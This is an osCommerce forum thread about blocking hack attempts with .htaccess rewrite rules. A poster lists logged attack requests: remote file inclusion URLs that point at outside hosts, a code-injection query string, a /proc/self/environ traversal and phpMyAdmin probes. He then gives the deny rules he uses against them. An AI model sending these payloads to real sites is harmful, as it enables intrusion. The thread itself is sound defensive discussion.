I will reiterate what I said earlier. I do not agree with blacklisting and here is why. I have a 404 error captcher which inputs a lot of data in the database so I can review it. Recently my company relaunched our site on oscommerce after months of development which gets over 3 dozen orders a day. This is to give you an idea of how much traffic we get. We have a huge database of blacklisting and everyday I personally see atleast 20 to 40 new files or folders being accessed by these dumb idiots. (I have posted some example at the bottom)

 

So my point is, that yes some of the XSS and other things you posted such as base64_encode, *script, *iframe are great and MUST always be used for all sites IMO. But they should NOT be considered the final security solution.

 

With that being said, I do hope they you will change your mind and continue supporting the project.

 

 

Here is a list of today's attempts:

/classes/phpmailer/class.cs_phpmailer.php?classes_dir=http://boubennec-family.com/albumphoto/cache/open.txt???

/classes/phpmailer/class.cs_phpmailer.php?classes_dir=http://boubennec-family.com/albumphoto/cache/open.txt???

/poll/booth.php?include_path=http://www.healthbeyond2000.co.nz/shop/pma/themes/original/css/id.txt???

/classes/phpmailer/class.cs_phpmailer.php?classes_dir=http://lcss.us/templates.NEW/id??

//poll/comments.php?id=%7B$%7Binclude($ddd)%7D%7D%7B$%7Bexit()%7D%7D&ddd=http://www.kiralymezoterapia.hu/e107_files/tmp/files/id1.txt??

//mysql/

//pma/

//myadmin/

//MyAdmin/

//phpMyAdmin/

//phpmyadmin/

//index2.php?option=com_google&controller=../../../../../../../../../../../../../../..//proc/self/environ%0000

//index2.php?option=com_google&controller=../../../../../../../../../../../../../../..//proc/self/environ%0000

 

Yes I now realize that blacklisting/ banning is quite controversial.

Almost all of my blocks are derived from attempts at accessing files only a hacker would try to access. My thoughts being that anyone trying to access these are definitely out to harm you, so I block them.

 

I had always thought this bottom part of my block was the most important part of the code and being able to block the bad people that know what to access. So yes, I end my code with additional block for them like this:

 

########## BAD BEHAVIOR BLOCK rules to ban exploits

etc. existing/ additional blocks here...

 

RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

RewriteRule ^(.*)$ bad_conduct/ban.php [L]

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* - [F]

 

RewriteRule setup\.php$ bad_conduct/ban.php [NC,L]

RewriteRule file_manager\.php$ bad_conduct/ban.php [NC,L]

RewriteRule xmlrpc\.php$ bad_conduct/ban.php [NC,L]

RewriteRule config.default\.php$ bad_conduct/ban.php [NC,L]

RewriteRule phpmyadmin\.php$ bad_conduct/ban.php [NC,L]

RewriteRule config.inc\.php$ bad_conduct/ban.php [NC,L]

RewriteRule config\.php$ bad_conduct/ban.php [NC,L]

########### BAD BEHAVIOR BLOCK rules to ban exploits

<Files 403.shtml>

order allow,deny

allow from all

</Files>

 

I had found out that it took only a few rules to catch them all; being it is not path dependent but rather file-name. And yes I have a couple there for WP vulnerabilities too.

And every month or so I remove the handful of blocked ip addresses that are banned.

I no longer get the hack attempts I once did... just a trickle now. I think they have me listed as a site to avoid trying to hack. Maybe that's wishful thinking but whenever I add my code to a new site I see the hack attempts die off quickly after the first month or so.

 

Really there is nothing to update as anyone can add any file to the blocked file list that they choose to deny access to.

And the BLOCK Rules are standard rules available to anyone and updated every year by people who track how hackers operate.

Link to comment
Share on other sites

I have this installed to my store I'm working on and it seems to work perfectly. I also have this installed to 2 other sites (totally unrelated to osc) that have been hacked in the past. It works pefrectly for them as well. As you said, the attempts do dwindle down over time. I still get attempts but not near as many. Kudos to you for this.

 

One thing I did notice was that when trying to install this with some of the other security scripts (can't be too careful)I was blocked when trying to run one of them. I think it was Site Monitor but can't really remember.

 

None the less, I really do hope you don't abandon this. If there is anyhting new that can be done to it, please do it.

Link to comment
Share on other sites

Hi Debs,

Thank you for your contribution. I'm using it and I need to know how to block other files other than file_manager. A hacker was trying to access /about_us.php/admin/categories.php/login.php. How would I block that?

 

Update, I figured it out, I would put the code in my renamed admin folder.

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...